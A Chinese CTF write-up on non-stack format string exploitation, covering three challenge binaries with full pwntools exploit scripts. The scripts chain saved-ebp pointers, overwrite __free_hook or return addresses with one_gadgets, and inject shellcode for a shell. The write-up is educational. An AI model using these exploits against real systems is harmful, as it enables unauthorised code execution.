非栈上格式化字符串漏洞利用
2023-6-23 22:3:48 Author: xz.aliyun.com(查看原文) 阅读量:10 收藏

  • 用于地址写的格式化字符:
  • %hhn(写入一字节)
  • %hn(写入两字节)
  • %n(32位写四字节,64位写8字节)
  • %< number>$type:
  • 直接作用第number个位置的参数
  • %7$x读第7个位置参数值
  • %7$n对第7个参数位置进行写

一般来说,栈上的格式化字符串漏洞利用步骤是先泄露地址,包括ELF程序地址和libc地址;然后将需要改写的GOT表地址直接传到栈上,同时利用%c%n的方法改写入system或one_gadget地址,最后就是劫持流程。但是对于BSS段或是堆上格式化字符串,无法直接将想要改写的地址指针放置在栈上,也就没办法实现任意地址写。下面用3个例题,介绍一下常用的非栈上格式化字符串漏洞的利用方法。

需要注意:
非栈上的格式化字符串很不稳定,所以一般最多就写2个字节

ida

有格式化字符串漏洞,但是无法输入 aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p 来直接泄露偏移

没有偏移的话我们无法利用fmtstr_payload()进行任意地址的覆写,所以不能进行got表的覆写。不过这题我们是要劫持返回地址,也不需要got劫持,因此影响不大。

通过调试,可以看到返回地址0x80485ad在栈中的第7个位置

%Yc%X$n: 将Y写入栈上第X个位置指针指向的位置
也就是说,假设栈上第X个位置的值为0x0804aaaa,那么我们在利用格式化字符串进行篡改时,并不能直接将0x0804aaaa修改为0x0804bbbb,只能修改[0x0804aaaa]存储的内容。
因此如果我们利用%Yc%7$n修改返回地址,实际上实在修改0x80485ad存储的代码,这肯定是会报错的。

劫持返回地址

本题的关键在于利用ebp链,利用gdb调试可以看到栈的结构如下所示:

=====================
  Magic echo Server
=====================
%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-
0x8048680-0x4-0x8048507-0x8048685-0x804a000-0xffcb0fa8-0x80485ad-0xf7f35d20-0x804a000-0xffcb0fb8-


栈中第六个位置是ebp,存储的内容是0xffffce98,假设我们利用%108c%6$hhn进行篡改,实际上会将地址0xffffce98存储的0xffffcea8改为0xffffce6c。接下来,如果我们继续利用%Yc%10$n对栈中第10个位置进行篡改,就会将地址0xffffce8c存储的内容由0x80485ad改为Y。到此,就可以成功的劫持返回地址。

泄露栈地址

通过泄露栈上第六个的值,再利用gdb确定相对偏移就可以获取栈地址

写入shellcode

需要输入quit退出循环,因此shellcode的地址是[buf+4],即0x0804a064,因此返回地址需要覆盖为0x0804a064

思路

Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments


什么保护都没开,直接把prev_ebp改为buf的地址,然后在buf内写入shellcode,就getshell了

pl = b'%' + str(stack_addr & 0xff).encode() + b'c%6$hhn' 
pl = pl.ljust(200,b'\x00')
s(pl)
p.recv()
#duan()

pl = b'%' + str(0xa064).encode() + b'c%10$hn' 
pl = pl.ljust(200, b'\x00')
s(pl)
p.recv()

exp

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

def duan():
    gdb.attach(p)
    pause()

x64_32 = 0
if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

p=process('./pwn')
buf=0x0804A060
pre_ebp=0x080485AD

#aaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
#aaaa-0x8048680-0x4-0x8048507-0x8048685-0x804a000-0xffffce98-0x80485ad-0xf7fb5d60-0x804a000-0xffffcea8-0x80485ea-0xffffcec0-(nil)-(nil)-0xf7e1a647-0xf7fb5000-0xf7fb5000-(nil)

ru('==\n')
sl('%6$p')
ru('0x')
stack_addr=int(r(8),16)-0x28+0x1c
leak('stack_addr:',stack_addr)

#gdb.attach(p)

pl = b'%' + str(stack_addr & 0xff).encode() + b'c%6$hhn' 
pl = pl.ljust(200,b'\x00')
s(pl)
p.recv()
#duan()

pl = b'%' + str(0xa064).encode() + b'c%10$hn' 
pl = pl.ljust(200, b'\x00')
s(pl)
p.recv()
#duan()

shellcode = asm(shellcraft.sh())
pl = b'quit' + shellcode
s(pl)

itr()

32位的是直接修改第2列,64位是修改第3列

ida

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *s2; // [rsp+8h] [rbp-78h] BYREF
  char buf[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v6; // [rsp+78h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init(argc, argv, envp);
  puts("Do you know who the best pwner is?");
  base64_decode(encoded_string, &s2);           // VG9rYW1laW5FX2lzX3RoZV9iZXN0X3B3bmVy
  read(0, buf, 0x3CuLL);
  if ( !strcmp(buf, s2) )
    vuln();
  else
    printf("I think your idea is wrong");
  free(s2);
  return 0;
}

这里找一个在线网站解一下base64,然后进入vuln

__int64 vuln()
{
  puts("Oh,you are right");
  puts("Welcome to this place");
  return fmtstr();
}
__int64 fmtstr()
{
  int i; // [rsp+Ch] [rbp-4h]

  for ( i = 0; i <= 12; ++i )
  {
    puts("What do you want to say?");
    read(0, buf, 0x40uLL);
    printf(buf);
  }
  return 0LL;
}

这里有13次格式化字符串

思路

利用非栈上的格式化字符串来修改free_hook为one_gadget
__libc_start_main+240 :main函数的返回地址


1.这个题首先就是运用rbp附近的两个跳板(偏移为8和10),把_libc_start_main+240改成free_hook
这里需要改6位,所以需要4步

sla('What do you want to say?\n','%'+str(num)+'c%8$hhn')
sla('What do you want to say?\n','%'+str(free_hook&0xffff)+'c%10$hn')
sla('What do you want to say?\n','%'+str(num+2)+'c%8$hhn')
sla('What do you want to say?\n','%'+str((free_hook//0x10000)&0xff)+'c%10$hhn')

这里前两步修改就是直接对 _libc_start_main+240 后两位进行了修改
后两步是先修改了一下地址,然后修改了 _libc_start_main+240 的倒数3,4位(就是不能直接修改地址的倒数3,4位,我们就修改地址,然后改新地址的最后两位,以达到修改地址的倒数3,4位的目的)


2.然后再用跳板把free_hook改为one_gadget
free_hook (0x7fde287987a8) 与 one_gadget (0x7fde2841727a) 也是后6位有区别,所以需要多步

sla('What do you want to say?\n','%'+str(og&0xffff)+'c%29$hn')
sla('What do you want to say?\n','%'+str(num)+'c%8$hhn')
sla('What do you want to say?\n','%'+str(0xaa)+'c%10$hhn')
sla('What do you want to say?\n','%'+str((og//0x10000)&0xffff)+'c%29$hn')
sla('What do you want to say?\n','%'+str(0xac)+'c%10$hhn')
sla('What do you want to say?\n','%'+str(free&0xff)+'c%29$hhn')
sla('What do you want to say?\n','%'+str(0xad)+'c%10$hhn')
sla('What do you want to say?\n','%'+str(free1)+'c%29$hhn')

第一步是先直接修改free_hook的后四位,第二三步是把 _libc_start_main+240 修改成了 free_hook+2 (free_hook最后两位是0xa8 , 0xa8+0x2=0xaa , 这个地址是用libc查找的,所以本地和远程后三位是一致的),然后再用这种方法修改。


这里再执行完上面最后一步就可以修改完了,然后执行free函数就直接getshell了。

exp (本地)

from pwn import *
from ctypes import *

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
context(os='linux',arch='amd64',log_level='debug')

p=process('./pwn')
#p=remote('60.204.130.55',10010)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

sla('Do you know who the best pwner is?\n','TokameinE_is_the_best_pwner\0')

sla('What do you want to say?\n','%18$p')
ru('0x')
#gdb.attach(p)
libcbase = int(r(12),16) - 0x5f1168
leak('libcbase',libcbase)
og = libcbase + 0x4527a
free_hook = libc.sym["__free_hook"] + libcbase
leak('og',og)
leak('(og//0x10000)&0xffff',(og//0x10000)&0xffff)
leak('free_hook',free_hook)
free = free_hook//0x100000000
leak('free',free)
leak('(free_hook//0x10000)&0xff',(free_hook//0x10000)&0xff)
free1 = free_hook//0x10000000000
leak('free1',free1)
#%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-
gdb.attach(p)
num=input()#num = 72
sla('What do you want to say?\n','%'+str(num)+'c%8$hhn')
#gdb.attach(p)
sla('What do you want to say?\n','%'+str(free_hook&0xffff)+'c%10$hn')
#gdb.attach(p)
sla('What do you want to say?\n','%'+str(num+2)+'c%8$hhn')
#gdb.attach(p)
sla('What do you want to say?\n','%'+str((free_hook//0x10000)&0xff)+'c%10$hhn')
#gdb.attach(p)
sla('What do you want to say?\n','%'+str(og&0xffff)+'c%29$hn')
#gdb.attach(p)
sla('What do you want to say?\n','%'+str(num)+'c%8$hhn')
#gdb.attach(p)
sla('What do you want to say?\n','%'+str(0xaa)+'c%10$hhn')
#gdb.attach(p)
sla('What do you want to say?\n','%'+str((og//0x10000)&0xffff)+'c%29$hn')
#gdb.attach(p)
sla('What do you want to say?\n','%'+str(0xac)+'c%10$hhn')
#gdb.attach(p)
sla('What do you want to say?\n','%'+str(free&0xff)+'c%29$hhn')
#gdb.attach(p)
sla('What do you want to say?\n','%'+str(0xad)+'c%10$hhn')
#gdb.attach(p)
sla('What do you want to say?\n','%'+str(free1)+'c%29$hhn')
#gdb.attach(p)
'''
'''
itr()

exp (远程)

import os
import sys
import time
from pwn import *
from ctypes import *

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'


#p=process('./pwn')
p=remote('60.204.130.55',10010)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

sla('Do you know who the best pwner is?\n','TokameinE_is_the_best_pwner\0')

sla('What do you want to say?\n','%18$p')
ru('0x')
libcbase = int(r(12),16) - 0x5f1168
leak('libcbase',libcbase)
og = libcbase + 0x4527a
free_hook = libc.sym["__free_hook"] + libcbase
leak('og',og)
leak('free_hook',free_hook)
free = free_hook//0x100000000
leak('free',free)
free1 = free_hook//0x10000000000
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''

num = 72 #0x48
sla('What do you want to say?\n','%'+str(num)+'c%8$hhn')
sla('What do you want to say?\n','%'+str(free_hook&0xffff)+'c%10$hn')
sla('What do you want to say?\n','%'+str(num+2)+'c%8$hhn')
sla('What do you want to say?\n','%'+str((free_hook//0x10000)&0xff)+'c%10$hhn')
sla('What do you want to say?\n','%'+str(og&0xffff)+'c%29$hn')
sla('What do you want to say?\n','%'+str(num)+'c%8$hhn')
sla('What do you want to say?\n','%'+str(0xaa)+'c%10$hhn')
sla('What do you want to say?\n','%'+str((og//0x10000)&0xffff)+'c%29$hn')
sla('What do you want to say?\n','%'+str(0xac)+'c%10$hhn')
sla('What do you want to say?\n','%'+str(free&0xff)+'c%29$hhn')
sla('What do you want to say?\n','%'+str(0xad)+'c%10$hhn')
sla('What do you want to say?\n','%'+str(free1)+'c%29$hhn')
itr()

打远程时,29位偏移地址,最后一位一定是8,所以只需要爆破倒数第2位就行,所以有1/16的概率能够打出来

ida

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+4h] [rbp-Ch]

  Init();
  puts("Have you heard about YANGSHEN?");
  puts("YangShen said that he want to know your name.");
  printf("Give me your name:");
  getstring(name, 32);
  printf("Hello %s\n", name);
  for ( i = 3; i > 0; --i )
  {
    printf("Now, you have %d times to tell me what is your favourite food!\nwhat's your favourite food: ", i);
    getstring(food, 32);
    printf("You like ");
    printf(food);
    puts("!?\nI like it too!");
  }
  return 0;
}
unsigned __int64 __fastcall getstring(__int64 a1, int a2)
{
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i < a2; ++i )                    // a2=32
  {
    read(0, (i + a1), 1uLL);                    // a1=name  bss
    if ( *(i + a1) == 0xA )
    {
      *(i + a1) = 0;
      return __readfsqword(0x28u) ^ v4;
    }
  }
  return __readfsqword(0x28u) ^ v4;
}

三次格式化字符串漏洞

思路

三次格式化字符串是完全不够用的,所以先修改次数,然后把 _libc_start_main+240 修改成one_gadget就可以了

sla('favourite food: ','%'+str(i_addr&0xffff)+'c%11$hn')
sla('favourite food: ','%'+str(6)+'c%37$hhn')

用上面两步来对i的次数进行修改

sla('favourite food: ','%'+str(stack1&0xffff)+'c%11$hn')
sla('favourite food: ','%'+str(og&0xffff)+'c%37$hn')
sla('favourite food: ','%'+str((stack1+2)&0xffff)+'c%11$hn')
sla('favourite food: ','%'+str((og>>16)&0xff)+'c%37$hhn')

这四步就是把 _libc_start_main+240 修改成one_gadget

exp

from pwn import *
context.log_level = 'debug'
context.arch="amd64"
p=process("./pwn")
#p=remote("node4.buuoj.cn",25309)
elf=ELF("./pwn")
libc=ELF('libc.so.6')

context.os = 'linux'
context.log_level = "debug"

s       = lambda data               :p.send(str(data))
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(str(data))
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']

#gdb.attach(p)

ru('Give me your name:')
s(b'a'*32)
ru('favourite food: ')
sl(b'%9$p-%11$p')#%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
#gdb.attach(p)
ru("0x")
libc_base=int(r(12),16)-libc.sym['__libc_start_main']-240
leak('libc_base:',libc_base)
ogs=[0x45226,0x4527a,0xf03a4,0xf1247]
og=libc_base+ogs[0]
leak('og ',og)
leak('(og>>16)&0xff',((og>>16)&0xff))
#leak('og')

ru("0x")
stack=int(r(12),16)
stack1=stack-224
leak('stack1 ',stack1)
leak('stack1&0xffff ',stack1&0xffff)
leak('(stack1+2)&0xffff',(stack1+2)&0xffff)
i_addr=stack-(0x7ffe373b3e18-0x7ffe373b3d10)+0x8+0xc
leak('i_addr',i_addr)
#gdb.attach(p)
sla('favourite food: ','%'+str(i_addr&0xffff)+'c%11$hn')
sla('favourite food: ','%'+str(6)+'c%37$hhn')
sla('favourite food: ','%'+str(stack1&0xffff)+'c%11$hn')
sla('favourite food: ','%'+str(og&0xffff)+'c%37$hn')
sla('favourite food: ','%'+str((stack1+2)&0xffff)+'c%11$hn')
sla('favourite food: ','%'+str((og>>16)&0xff)+'c%37$hhn')
gdb.attach(p)
itr()

文章来源: https://xz.aliyun.com/t/12619
如有侵权请联系:admin#unsafe.sh